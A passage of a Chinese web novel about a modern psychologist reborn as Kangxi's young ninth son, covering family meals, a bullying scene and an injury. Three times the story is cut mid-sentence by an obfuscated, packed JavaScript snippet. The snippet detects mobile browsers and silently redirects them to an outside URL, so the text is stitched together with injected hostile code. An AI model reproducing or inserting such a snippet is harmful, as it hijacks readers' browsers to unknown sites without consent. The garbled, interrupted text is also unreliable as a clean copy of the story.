心思转念间,梁九功已将胤祺和胤禛请了进来。 两人向康熙、宜妃行了礼,期间胤禛的头始终埋得低低的。起身后,胤祺向康熙、宜妃说明了缘由。 康熙没有立即开口,只是手指在桌沿不紧不慢地敲着。 胤禛的手将衣摆攥得更紧了。胤禟甚至怀疑衣摆已经被他的大拇指戳出了一个洞。 大概如坐针毡就是这个意思吧,胤禛想。 如果换做是太子,汗阿玛肯定春风满面地招呼他坐下。如果是大阿哥,可能也就大喇喇坐下了。可他不行,他本来就比别的孩子敏感些,偏生性子还急躁,只一会儿就耐不住了,犹豫着开口道:“要不,我还是……” 要不,我还是回去吧。 只是这后半截话还没说出口,胤禛就觉得一只软乎乎的小手牵住了自己的手,一道奶声奶气的声音传来:“太好啦!四哥你来了!听五哥说,你以前抓蚂蚁可厉害了,可是去了阿哥所,就成天只顾读书,都好久没来看我了!一会儿用完膳,你带我去抓蚂蚁好不好?” 胤禛低头看去,只看见一张粉雕玉琢的小脸,朝自己咧开一个大大的笑,乌溜溜的眼睛里满是崇拜地看着自己。 胤禛被他看得脸有些发烫。 虽然自己确实喜欢抓蚂蚁,还特地养了一些在院子里观察,但也没有五弟说得这么厉害吧…… 他悄悄看了一眼康熙,见康熙面色如常,心里舒了一口气,想着还好九弟提了自己现在用功读书,不然被汗阿玛听见自己捉蚂蚁,又得批评玩物丧志了。 不过被胤禟这么一打岔,胤禛倒是没有之前那么紧张不安了。 康熙瞥了一眼胤禟,朝胤禛道:“坐吧,朕也饿了。” 宜妃赶紧着人添置碗筷、传膳。 翊坤宫小厨房的手艺名不虚传,小的大的都吃得肚子鼓鼓。 饭后众人照常吃了些水果。康熙觉得今日西瓜瓜瓤出沙不生不熟,口感正好,不禁多吃了几块,吃完又有些后悔。 许是受太皇太后和苏麻喇姑影响,他素来看重养生,西瓜性寒本就不应多吃,虽然沙瓤西瓜温和些,但今日却也吃得多了。 宜妃见康熙盯着面前盘子里一小堆瓜皮看,便知这位爷在想什么,拿帕子捂着嘴笑道:“万岁爷不妨再尝尝这个。” 面前的碟子撤了下去,又上了一只天青色的白瓷小碗,里面盛着淡黄色嫩豆腐状的食物,闻上去奶味醇厚香甜,还带着一丝生姜的冲味儿。 宜妃知道康熙注重饮食,他面前的是常温的,其余人的碗外壁上则起了一层薄薄的水汽。 康熙用银勺舀了一小块,举起来看了看,只觉得这东西就和豆花一样,心中不禁嘀咕“这能好吃?”。 一旁梁九功正在试菜,康熙便看他神色,心道若是难吃,自己就不吃了。 梁九功在试菜的小盏中舀了一小勺送入口中。只见他挑了挑眉,眼睛发亮,试完将小勺放到一旁时,还意犹未尽地咽了口口水。 有这么好吃?康熙半信半疑地将勺子递到口中,余光却瞥见三位阿哥正齐刷刷埋头狼吞虎咽。等他一勺吃完,仨人碗里早就精光,甚至还面前还重新摆上了一碗。 这东西吃起来滑溜溜的,口感也极像豆花。但是里面牛乳的鲜甜引得人吃了一口还想再吃一口,而恰到好处的那一丝姜味,中和了牛乳的甜,让人久吃不腻。 胤禛也是头一回吃。从慈宁宫过来的路上,就听胤祺念叨了一路胤禟专门给他研制的姜汁撞奶,想必就是这个了。 他不由得有些羡慕胤祺,有这么个聪慧的弟弟。去年六弟走了后,额娘伤心了好久,自己每月去永和宫,也不见额娘见了自己有多欣慰。所幸额娘又有了十二妹妹,脸上才有了喜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405619|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 胤禛想着,不由得看了一眼胤禟。见他自己握着小银勺吃得正欢,嘴角沾了几星碎渣也没察觉,像一只贪吃的小松鼠。心里的低落忽然消散,胤禛忍不住偷偷弯了弯唇角。反正自己和胤祺关系好,他的弟弟,就是自己的弟弟。 康熙吃完,才想起来今儿又吃多了。 嗐,点心怎么能算菜呢,无妨无妨。 他吃得心满意足,随口问道:“此物倒是新鲜,唤作什么?” 宜妃莞尔一笑道:“万岁爷,这叫姜汁撞奶,还是九阿哥想出来的方子。” 康熙听了,挑眉看向胤禟,问道:“这真是你想出来的?” 小东西,机灵是真机灵。但是不务正业,也是真不务正业。 胤禟小脑袋重重一点,奶声奶气的回答里是掩不住的得意:“是儿子想出来的。” 他做这姜汁撞奶,本来只是因为五哥喜欢。但既然是他“发明”的,认下这事儿也没什么不好意思的。胤禟天真地盘算着,接下来,康熙作为一个老父亲,就该对自己儿子惊人的创造力一通彩虹屁,然后赏赐点什么小玩意儿。 事实证明是他想多了。 只见康熙板起了脸,道:“聪明合该用在读书上。这些奇技淫巧,自有膳房的下人去琢磨。” 康熙最不喜欢皇子玩物丧志,巴不得人人跟他小时候一样,读书废寝忘食。虽然胤禟年纪还小,但也到了开蒙的年纪,他本来性子就贪玩,更要严加要求,不然白白浪费了他的机灵。 宜妃、梁九功深知康熙的性子,对他这番话倒是不意外。 胤禛同情地看了一眼胤禟。他觉得九弟挺无辜,但汗阿玛这么说也没错。身为皇子,天生就身负重责,九弟又这么聪明,汗阿玛要求严格,也是对他寄予厚望。 胤祺面上不敢说,但心底是不服气的。姜汁撞奶这么好吃,怎么到汗阿玛的嘴里就成了奇技淫巧?明明汗阿玛自己也吃得干干净净。还是慈宁宫好,汗阿玛管不着也不敢管。哼,回头得找机会和皇玛嬷告上一状。 胤禟的表情却有些一言难尽。 康熙这句话在他听来,着实耳熟。 “聪明就该用在读书上,其他做的再好也没用”,简直可以称为他读书时候,老师和父母的口头禅。 没想到穿越了,还能听见这种话。 怪不得胤禛方才看见康熙时那么紧张,看来这些小阿哥们平日没少受到老爹的否定式教育。再加上康熙皇帝的身份,在君臣父子的环境中,阿哥们的精神压力直接翻倍。 胤禟身为一个心智成熟的成年人,自然不会受到这句话影响。不过……他看了看两个哥哥。 胤祺打方才康熙开始问话,目光就飘到了梁九功手里的小笼子上,显然这种程度的教育对他来说毫无杀伤力。胤禛倒是脑袋越垂越低,像个霜打了的柿子般。 行吧,就算是为了自进屋起,就不敢正眼看康熙的胤禛,他高低也得让康熙反省反省。 5. 第 5 章 康熙等了一会儿,没等到胤禟表态好好学习,但见他低着头半天不说话,以为小东西是真心知道错了,正在反思。 他看着胤禟小脑袋瓜耷拉着,小手乖巧地垂在身侧,心事重重的模样还有些可爱,心里想着莫不是自己方才说重了,正准备开口打圆场让这事儿过去,却见小人儿忽然抬起头,一双圆溜溜的眼睛里,泪水在里头打滚。 啊,不过说了一句,怎么就哭了? 胤禟奶乎乎的声音中带上了哭腔:“汗阿玛,您是不是不喜欢儿子了。” 康熙有些摸不着头脑。但是看见小粉团子泛红的眼眶、向下撇着的小嘴巴、用力绞在一起到发白的小手,他心里无端就有些懊恼。他深吸了一口气,拉起胤禟的小手,问道:“怎么这么说?汗阿玛没有不喜欢胤禟。” 小粉团子两个小肩膀微微耸动,小声抽噎道:“汗……汗阿玛,这个很难做的,儿子试了好多次才成功,汗阿玛叫我下次别做,那就是不喜欢我做的东西,也就是不喜欢我了。” 如果这个时代发明了标点符号,此时康熙的脑门一定浮现出两个硕大的问号。 原来,这孩子是这么理解自己的那番话? 胤禟抽抽搭搭的声音还在继续:“我知道我还小,不像哥哥们那么厉害,但这是我能做出来最好吃的东西了。汗阿玛觉得这个没用,那就是觉得儿子没用,呜呜呜。” 康熙原话当然没有不喜欢胤禟的意思,但是被胤禟这么一提醒,他反复咀嚼了几遍,终于发现了不妥。 小孩儿和大人不同,大人能够轻轻松松办到的事情,对他们却很难。好不容易做出了一个东西,自己肯定觉得十分自豪,但是如果此时遭到了否定,小孩儿也会认为是对自己的否定。 康熙怔了怔。他第一回意识到,自己有时候对孩子们可能过于不近人情。 “好啦,汗阿玛就是希望小九把更多精力花在读书上,这些杂事让下人操心就好了,没有不喜欢小九。”康熙伸手揉了揉胤禟的小脑袋,称呼不自觉从胤禟变成了小九,语气也是耐心哄孩子那一卦的。 梁九功眨了眨眼。打太子之后,多少年没见过万岁爷哄孩子了。 胤禛和胤祺对视了一眼。 胤禛想着,当初汗阿玛也这样说过自己,但自己什么也不敢说,只是低头默默把汗阿玛撕碎的图纸收起来,然后再也没给宠物狗设计过小衣服。不过看起来,今后应该还能吃到九弟想出的新鲜吃食,想到这里,他居然暗暗高兴起来。 胤祺在心里颇有些幸灾乐祸,看吧汗阿玛,自己凶哭的孩子,还是得自己哄开心咯。 “真、真的?”胤禟止住了哭声,求证似的委屈巴巴看着康熙。虽然哭泣是孩童引起大人关注的有效手段,但是大部分成年人耐心都有限,哭闹得见好就收,不然就该觉得烦了。 “嗯。”康熙点点头。 小粉团子哭得鼻子红红,眼睛红红,活像只小兔子。他不禁想起胤礽五岁那年,花了整整一个月的时间,在读书之余向宫里匠人们学习,雕刻了一枚玉佩送给他。他气恼胤礽玩物丧志,气头上将玉佩一把摔碎了,当时胤礽眼睛红红的,也像一只小兔子。 康熙莫名觉得,有只蚂蚁在他心头咬了一口,有些发酸。 他沉默了片刻,问胤禟:“那胤禟希望汗阿玛下次怎么说?” 胤禟得到了康熙的确认,此时已经破涕为笑。听见这话,他伸出小手拉住了康熙的衣摆,扬起小脸认真道:“只要汗阿玛说很喜欢,小九就很开心!” 康熙低头看胤禟,小团子脸上还挂着晶莹的泪水,却已经眉笑眼笑的,让他忍不住伸手替胤禟擦了擦眼泪,道:“朕知道了。” 这句话,他自己也不知道是说给胤禟听,还是说给若干年前那个五岁孩子听的。 梁九功嘴角微不可查地扬了扬。万岁爷对皇子的严厉程度,他是看在眼里的,有时候甚至觉得也不必如此。不过万岁爷自八岁登基,这些年一步步走过来,夙兴夜寐,压力之大常人难以想象,他希望皇子们能尽快成长,成为大清的栋梁,急切之心情有可原。但是像今天这样,儿子把心里话和阿玛说开,阿玛则能够反思自己的行为,感觉似乎也挺不错的。 胤禛有些羡慕,胤禟那些话换作他,是怎样也说不出口的。他也想和汗阿玛说,希望汗阿玛多夸夸自己,但这样的话,说出来他只会觉得是自己自取其辱。 胤祺觉得今日汗阿玛的态度很诚恳,他决定今天这状就不告皇玛嬷了。 “万岁爷,这姜汁撞奶性温利脾,臣妾想着不如也给太皇太后和太后那边送些,不知您觉着如何。”宜妃伶俐的声音话恰到好处地响起。 康熙点点头,赞赏地看了眼宜妃道:“你向来想得周到,就这样办吧。” 他想了想,又道:“这点心既是胤禟发明的,想要什么赏赐,回头和内务府说一声去。” 宜妃赶忙替胤禟谢了恩。 或许得益于胤禟方才的直言不讳,康熙今日连带对胤禛、胤祺两人也和蔼了不少。原本平日里少不得要考校他们一番功课,今日额外放了他俩一马,家常寒暄了几句,又叮嘱了一遍宜妃把姜汁撞奶给太皇太后和太后送些过去,便回了。 最高兴的是胤祺。 他养在太后身边,因着太后蒙古贵族的身份,对汉文颇有些瞧不上,是以胤祺年龄相仿的阿哥们,早就入了上书房学习汉文,偏他还在外头打闲。为这,汗阿玛每回见他,少不得耳提面命一番,胤祺回回应付起来都觉得头疼。 好在今日汗阿玛没和他再计较这事儿,胤祺觉得浑身轻快,把袖子里的萨其马掏出来。这个原本是想给胤禟的,结果拿在手中一看,在袖子里压得太久都变形了,成了扁扁的一块,丑死了。 看来送是送不出去了,胤祺撇撇嘴,想收回袖子里,却被眼尖的胤禟一把抓过来,捧在手里欢喜得眉眼弯弯:“五哥真好,又给我带好吃的了!” 胤祺看着小粉团子天真的笑容,觉得心也软乎乎的。 他牵了胤禟的小手,想去看胤禌,却看见胤禛立在原地,似在犹豫什么。 “四哥,走吧,去看看十一弟。”胤祺去拉他。 今日午膳因着康熙在,又闹了胤禟这么一出,时间便有些晚了。佟佳氏额娘自打三年前的事情,身体便一直不大好,也更加操心宫里孩子们。胤禛怕自己出来久了让她担心,便想着是不是该回去了。 但他毕竟也才八岁,本心还是想和胤祺、胤禟多玩会儿。刚才胤禟夸他捉蚂蚁厉害,他还想在小家伙面前露一手呢。 他一纠结,原本稚气的面容便会不自觉带上一丝老成,老成之下,又透着一股子孤单。 胤祺特别不乐意见胤禛露出这副表情。 在他看来,四哥什么都好,就是喜欢想太多。皇玛嬷打小教育他,有些事不在意它,看起来还没有针尖大,但若是在意了,便是秤砣压在心上。 可他也知道,四哥与他不同,打天生的性格不同,后头长大的环境也不同,他不能随随便便就给四哥提看开点的意见,那样太不礼貌了。 所以大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405620|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数时候,他选择尊重四哥的想法。 比如今天,他虽然看出胤禛想回去,但也没有挽留,而是等他做好决定。 胤禛犹豫着开了口:“五弟,我就先回……” 话还没说完,胤禛就感觉什么一把抱住了自己的大腿。 低头一看,看见一个小粉团子朝自己咧嘴一笑,两只小胳膊一伸,理直气壮道:“四哥,抱抱。” 胤禛还是头一回遇到这么粘人的娃娃。 五妹妹虽与他一母同胞,但毕竟打小养在太后身边,也没有多粘他,反倒是和同住慈宁宫的五弟更加亲近。八弟与他都在景仁宫长大,和他是亲近的,但胤禩性子腼腆,也从没和他撒过娇。 这小粉团子还是个小婴儿时,初见便要自己抱抱。胤禛之前哪里抱过婴儿,在宫人帮助下,小心翼翼抱起来,只觉得怀里小团子软乎乎的,自己不敢动一下,生怕不小心摔了这白豆腐般的嫩娃娃。 后来回回见他,便都要他抱,一抱便咯咯咯开心地笑个不停,连带让他也觉得开心起来。 如今已有大半年没见,没想到小家伙对他还不生分。他已经八岁,抱个孩子不在话下,便真的一把抱起了胤禟。 小粉团子拱在他怀里,一口一个“四哥”地叫着,叫得他心头轻松熨帖。胤禛忽然觉得,有个会粘人的弟弟,感觉十分不错。嘴里没说出的后半句,竟然就这么顺着嗓子咽了下去。 宜妃忙着打点送姜汁撞奶的事情,等得闲回来寻孩子们时,看见三小只蹲在东侧殿外头角落,不知在做什么。 等走得近了看清楚,差点儿没忍住笑出声来。 胤禟小手捧着一个小瓷罐儿,表情严肃地盯着地上一个小土丘,上面爬了好些蚂蚁。 胤禛袖子撸得老高,一手拿着一片大叶子梗部,叶片部分放在地上,上面撒了很多白色的碎屑;另一手拿着一只小树枝,正在把地上的蚂蚁往叶片上赶。 胤祺一手攥着一片扯了大半的干馍馍,另一只手正小心地往树叶上撒馍馍碎屑,嘴里还嘟囔着“小蚂蚁,快来吃吧”。 就连胤禟屋里的大宫女莲珠,此刻站在一旁,双手撑膝弯腰看得津津有味,浑然没有发现主子来了。 宜妃笑了笑,悄悄离开了。 第二日,胤禟倒是破天荒起了个大早。 康熙昨日发了话,允他今日去射殿选个谙达教授小弓。君无戏言,他自然是要去的。 射殿是皇子们学习骑射的场地,应该能碰见自己那些个哥哥们,运气好的话,甚至还可能遇见太子。 虽然太子读书与众皇子们分开,但骑射毕竟有很强的的竞技色彩,众人一同学习、比较才更利于进步,因此,太子有时也会在射殿同阿哥们一起练习、比试。 胤禟在宫里三年,见到太子的次数寥寥无几,还几乎都是在宫中举办宫宴、庆典等大型场合,多数时候只能远远瞅上一眼,连面容都看不清楚,更别提说上话、近距离了解了。 可那是胤礽诶!九龙夺嫡的关键人物之一,康熙教育滑铁卢的集大成者。 身为儿童发展心理学博士研究生,在前世了解了胤礽生平后,他就动了研究这位传奇太子的童年时期,以及他与康熙真实感情的念头,只是一直忙于自己的实验,还没有抽出时间来考据。 况且古籍资料卷帙浩繁,且多有缺失、遗漏、篡改,哪里有一手资料来得准确、真实。 一想到今日可能遇见胤礽,胤禟兴奋得一晚上没睡踏实。今天更是早早就起了,选了一套最精神的衣服穿着去。 6. 第 6 章 射殿通常下午才开始操练,胤禟起得有点早,便着手开始准备另一件事。 乳母带着胤俄来的时候,胤禟正趴在大大的黄花梨书桌前,握着毛笔聚精会神地画着什么。 他身体毕竟只有三岁,小手还握不太住毛笔,只能将毛笔竖直地攥在手心,憋着劲儿控制毛笔的走向。可即使累出了一身汗,画下的线条还是歪歪扭扭的,好在能看出个雏形来。 他正忙着与毛笔斗争,一时连屋内进人都没察觉。 昨日宜妃给太皇太后和太后准备姜汁撞奶的时候,也顺便留了两盏给隔壁永寿宫的钮钴禄氏贵妃。今日钮钴禄氏便带着儿子来串门,还带了些点心吃食。 宜妃原本就有意和钮钴禄氏交好,两人又是邻居,胤禟和胤俄还裹在襁褓里时,就没少随着额娘相互串门。等会跑会跳了,胤俄就成了胤禟的小尾巴,得空便来找九哥玩。 胤俄见了胤禟,高兴得“九哥、九哥”地直喊。 胤禟抬头,看见门口进来个脖子挂着小银锁、小手腕戴着小金镯、身上还挂着好些富贵装饰的白胖娃娃,不是胤俄是谁。 小娃娃咧开嘴朝他笑,两手一手握着一只冰糖葫芦,还散发着丝丝凉气。 或许是受到自媒体和电视剧的影响,胤禟对胤俄“草包”的印象十分深刻。但是接触下来,胤禟觉得“草包”的说法过于脸谱化了,至少这孩子智商肯定没问题,就是性子淳朴天真,对人情世故少了根弦。 这样的孩子,在深宫之中原本该是举步维艰,好在他有个母家强硬的额娘,也保了他一辈子平安,是个有福气的。 胤禟朝基本画成的纸吹了吹墨迹,将毛笔搁在一旁,笑嘻嘻从椅子上爬下来,跑到胤俄面前:“十弟,你来了?” 小白胖娃娃将手里更大的那串糖葫芦朝胤禟一递:“九哥,吃糖葫芦。” 胤禟接过啃了一口,糖葫芦的糖壳儿脆脆的,一点儿也没化。 他发现胤俄膝盖处有两块污渍,便弯腰帮他拍了拍。 乳母在一旁解释:“十阿哥怕糖葫芦化了不好吃,走得急了些,路上绊了一跤。” 胤禟连忙问:“可摔伤了?还疼吗?” 不待乳母开口,胤俄嘿嘿一笑,开口道:“不疼啦。没事的九哥。” 他踮起脚,朝比自己还高的桌子看了看,好奇问道:“九哥刚刚在写字吗?” 胤禟嚼着糖葫芦,含混不清道:“没有,画了个物件。” 胤俄小小的脸上都是惊叹:“九哥好厉害!就会画画了!” 胤禟想着那一幅蚯蚓似的“画”,脸上一红,正想谦虚两句,就看见胤俄跑过去,费了一番功夫爬到椅子上,仔仔细细看了看画,抬头歪着脑袋问他,眼里三分疑惑七分崇拜:“九哥,这是什么?好厉害的样子!” 小白胖子虽然被钮钴禄氏喂养得肉乎乎、圆滚滚,但眉眼还是生得极为端正的,一歪头,就有了几分虎头虎脑的感觉。 胤禟忍不住笑道:“这叫做观察箱。” 那日康熙承诺了他一个赏赐,胤禟便一直琢磨着要什么好。还是胤禛给他捉的蚂蚁提醒了他,既然胤禛喜欢捉蚂蚁,那便不如投其所好,做一个蚂蚁观察箱,以后也多个邀这位未来皇帝上门玩耍、拉近感情的由头。 他眼下便是绘制观察箱的草图,让内务府造办处拿去制作。 “观察?什么是观察呀九哥?”胤俄圆乎乎的小脸有些迷茫。 胤禟想了想,解释道:“我们蹲在地上看蚂蚁搬吃的,就是观察。” 胤俄用力点点头:“胤俄喜欢观察!要和九哥一起观察!” 在小小的胤俄心里,虽然不太明白九哥画的这个东西,和看蚂蚁搬吃的有什么关系,但是只要是九哥说的做的画的,就是最厉害的! 胤禟在前世是独生子女,因此对儿童发展心理学中所说的兄弟姐妹亲情,在理解上始终隔着一层,犹如雾里看花。却没想到因为穿越,体验了一把有疼爱自己的哥哥、崇拜自己的弟弟的感受。 别说,体验还真挺不错的。 胤禟觉得嘴里的糖葫芦更甜了。他也爬上椅子,和胤俄一起并肩坐着,尽可能用简单的语句跟他解释。“就是一个大大的透明箱子,用来观察在里面的东西,”胤禟用糖葫芦棍指了指其中歪歪扭扭的线条:“里面被我分隔成了很多小小的房间,中间还有小路把它们串在一起,让里面生活的东西可以从这里爬到那里,自由行动。” “九哥,我听得不是太懂……”胤俄摸摸脑袋,嘿嘿一笑:“不过九哥做好了,要叫我来看喔。” 胤禟笑道:“一定一定。” 说话间,郭络罗氏和钮钴禄氏有说有笑地寻来了。 见两个小娃娃肩并肩坐在一起,有商有量地聊着天,两位额娘都忍俊不禁。 两个小阿哥看见额娘来了,一骨碌爬下椅子,朝自己额娘跑去。 胤俄跑起来慢些,加上衣服装饰复杂,不小心一脚踩到了衣摆,整个人朝前摔去。偏他手里还握着糖葫芦串儿,这一摔实了,那串签儿少不得要把他脸上戳个血窟窿。 几个大人都在远处,一时扶持不及,钮钴禄氏脸刷地白了,宜妃心也揪了起来,乳母更是吓得双腿直打颤。 胤禟本来已经跑出了小段距离,回身想等等胤俄,就看见这一幕。 没有任何思考,他将手里糖葫芦串儿一扔,纵身一扑,手从上往下朝胤俄手里糖葫芦签子一压。 “咚!”胤俄摔了个大马趴,“哇”地一声哭了出来。 胤禟也摔在地上,好在糖葫芦签子被他压在手下,没伤着胤俄。只是胤俄这小家伙半个身子都压在他身上,对他这个三岁孩子的身体来说,着实有点不能承受之重了。 郭络罗氏和钮钴禄氏已经小跑过来,扶起各自儿子。 胤俄哭哭啼啼起来,胤禟身上立即一轻,赶紧如释重负爬起来,心道回头得劝胤俄少吃点儿。这没摔疼,倒是被压疼了。 钮钴禄氏眼泪汪汪地扶着哇哇大哭的儿子,上下查看忙了好一阵,确认儿子没事,便一边拍着胤俄的背,轻轻安慰他,一边看向胤禟。 胤禟从小便是个上窜下跳的主儿,身上没少磕碰,郭络罗氏早就习以为常,熟练地捏了捏他的小胳膊小腿,结结实实,都没断,没事。 捏到胤禟小臂时,胤禟突然觉得一阵疼痛,忍不住“嘶”了一声。郭络罗氏赶忙松手,便看见方才自己捏的地方,袖子渗出了鲜红的血液,连忙将袖子一撸。 一条狭长的伤口,斜斜贯穿了半条小臂,浅浅的皮肉翻开,鲜血正涌出来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405621|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原来方才胤禟手臂被糖葫芦签子划了一道长长的口子,但伤口被胤俄小胖身板压着,还不觉得痛,血流也被遏制住。身体一松动,才有所知觉。 翊坤宫内好一阵忙乱,胤禟床前围了三个太医。 一个是宜妃差人请来的,一个是钮钴禄氏不放心,又找来熟悉信任的,还有一个是康熙不知怎地听说了,专门传唤过来、专给他和太皇太后、太后看诊的。 其实这点儿伤算不得严重,既不深、伤口也还算干净,不碰水有个三两天便也好了,就是看着长长一条有些唬人。胤禟自己倒不在意,相比这点小伤,他更在意下午去射殿碰碰太子的事。 好在太医三方会诊完毕,给胤禟处理创口、上了药,又叮嘱这几日尽量不要碰水,便告退了。 胤俄自打看见胤禟受伤了,便哭得更大声了。 “九哥,你不该、不该救我的,”胤俄哭得厉害,说话也断断续续:“你肯定很痛吧……” 胤禟看着小胖团子哭得稀里哗啦,伸手揉了揉他的脑袋:“十弟,这是小伤,不痛的。” 胤俄一点不信:“这么长一条口子,怎么会不痛,呜呜。” 小胖团子捏紧了小拳头,暗暗在心里发誓,他最最崇拜的九哥,因为他伤得这么厉害,他以后一定唯九哥是瞻! 胤禟心里暖暖的。还第一次有小娃娃,这么心疼他。 “真的,”胤禟举起手做了个挽弓的姿势,语气夸张地说:“我下午还要去射殿挑选谙达教我射箭呢,要是真有事,哪里去得了。” 胤俄从小喜欢舞刀弄枪,听到射箭,肯定注意力都被吸引了。 果然,胤俄一听说射箭,也不哭了,眼睛闪闪发亮地看着胤禟:“真的九哥?!好厉害!那九哥学会了,也教我好不好!” 就这么连哄带抱地,钮钴禄氏总算带着依依不舍地胤俄回了永寿宫。 宜妃见她们母子走了,这才走到胤禟身边坐下,撸起胤禟的袖子,心疼地看着那条长长的伤口,蹙起两道弯叶眉问:“还疼么?” 胤禟咧嘴一笑,甜甜道:“额娘,早就不疼啦。” 宜妃放下他的胳膊,叹了口气:“你呀,帮人是好事,但……” 但是也别把自己搭进去。 宜妃这句话到底没有说出口。 这孩子虽然聪明到有些狡黠,也爱顽皮胡闹,看上去就是个混不吝的,但毕竟是她亲手带大,骨子里的纯良她看得清楚。 这话说了,恐怕他也不会听。 罢了罢了,自己的孩子,总归自己罩着吧。 胤禟心头一热。他知道宜妃要说什么,也知道她担心什么。 只有真心为自己考虑的人,才会说出这番话。 也只有真心尊重自己的人,才会没有说出这番话。 “额娘,孩子会有分寸的。”胤禟语气撒娇。他张开小胳膊,给了宜妃一个大大的拥抱。母亲特有的温暖的香气钻入鼻端,让人感到安心。 宜妃真的是一个很好很好的额娘呢,他想。 所谓轻伤不下火线,虽然受了伤,但想去见太子的强烈心情远远超过了伤口的轻微疼痛。 宜妃知道自己拗不过他,便也放行了,只是多叮咛了几句,又让翊坤宫里的大太监宝福亲自跟着。 7. 第 7 章 射殿就在供奉了清代列祖列宗牌位的奉先殿南侧,足以看出清朝皇帝对八旗尚武传统的重视。 胤禟在前世去过几次故宫参观,也到过武备馆,也就是曾经的射殿、后来的箭亭。此时的射殿布局与他印象中差别不大,殿前场地空旷,供皇子们练习骑射。远远地,已经看见不少人骑马聚集在殿前,似在练习。 胤禟记得,当年参观时,武备馆里有一块乾隆立下的《训守冠服骑射》卧碑,右边是汉文、左边是满文,刻了皇太极的训诫。其中一句话令他印象尤为深刻——“若废骑射,宽衣大袖,待他人割肉而后食”。[1] 联想到皇朝最终的结局,胤禟不禁有些出神。 他此时已离射殿得近了,冷不丁从殿前直窜出一人一马,直直朝他奔来。 宝福吓得一把搂过胤禟在身后。只见那人策马,在距离胤禟和宝福不到一寸处擦身而过,马后蹄扬起的尘沙洒了两人一头一身。 胤禟在心里默默比了个中指。 还不待两人反应过来,方才那一人一马又掉头,从他们另一侧朝殿前奔去,也是堪堪擦过两人。 胤禟这回早有准备,立即将袖子遮住头脸。宝福反应慢了,又被尘沙扬了一脸一嘴,赶忙侧身“呸呸”地啐沙子。 胤禟脸色一冷。他朝前看去,只见那人已拉着缰绳,令马停下,掉头看向胤禟两人的方向,哈哈大笑起来。 今日射殿,胤褆、胤礽、胤禛、胤祺都在。 近日荣妃身体欠安,胤祉担忧额娘,自请每日下午回钟粹宫照顾。康熙本就赏识这个儿子,怜他孝敬之心可贵,便允了。 胤祐虽然已满六岁,但因为腿疾,入阿哥所的时间推迟了一年,待明年与胤禩一同搬来,平日就在旁边一处分开的场地进行骑射启蒙。 场上几人原本都各自对着箭靶练习射箭,大的阿哥们练习骑射,小的阿哥们就站着射箭,听见胤褆的笑声,纷纷抬头看去。 胤祺“啊”了一声,把手里弓箭一扔,朝胤禟跑去。 胤禛也认出是胤禟来了,看了看骑在马上的胤褆,又看了看地上的蹄印,立即明白发生了什么。 昨日他还和胤禟一起捉蚂蚁,今日就看见小团子被欺负。 胤禛的脸因为生气变得有些发红,他朝前走了几步,想去看看胤禟有没有事,却被身后的太子唤住。 胤禛只得停步。他想了想,朝身旁的太监苏培盛低声吩咐了几声。苏培盛点点头,小步跑了出去。 胤礽不紧不慢地驱马走到胤禛身边,手里的弓指了指前面,问:“那是宜妃的孩子?” 胤禛道:“是九阿哥。” 胤礽问:“他来做什么?” 算上旁边低龄皇子练习的场所,这里最小的胤禩也有五岁,那小娃娃身量看起来也就两三岁,长箭无眼,怎么能来这么危险的地方。 这句是胤礽自言自语,胤禛便也没答。这时胤祺已经牵着胤禟、后头跟着宝福来到了殿前。 胤禟最先看见的是胤褆,麦色皮肤,短粗眉、小眼睛,下巴扬得高高地,嘴角一侧挑起,挂着恶作剧得逞的坏笑。 一派校霸模样。 见他们朝自己走来,还斜睨着吹了个口哨。 胤褆不知道那是谁家的孩子,他也不在乎,每当射殿来了一位新的小阿哥,他就会这样给对方一个下马威。 他每每想起胤禛狼狈、胤祺生气、胤禩惊恐的模样,就觉得非常有趣。就像幼时出宫避痘、养在噶鲁家时,戏弄府上那些个宫女下人一样有趣。 胤祺很生气。平日皇玛嬷总是教导他要心胸开阔、待人温和。但是今天,他觉得不是心胸开阔的事儿。 论身高,他是比不过大他许多的胤褆,但太后按蒙古养孩子的办法,每日将牛乳当成水给胤祺喝,吃肉从不忌口,是以身强体健,力气也大,个子比大他一岁的胤禛还要高些。 他虽才七岁,个头已有成马腹部高。他将胤禟拉到自己身后挡住,朝胤褆怒目相视道:“九弟他这么小,大阿哥这样很危险不知道吗?!” 当初他第一天来射殿,胤褆也是这般扬了他一头一脸的沙。 那时候他还不足六岁,但丝毫不怕这位小霸王,要不是太监拦腰抱着,早冲上去揍这家伙一顿了。 自己受了气也就罢了,但软软弹弹的九弟也被欺负,那是绝对不能忍的! 胤褆就喜欢看这些弟弟们恼羞成怒的样子。兄弟里他年纪最大,体格就占了优势,别人在他这里讨不了好,只有他看别人笑话的份儿。 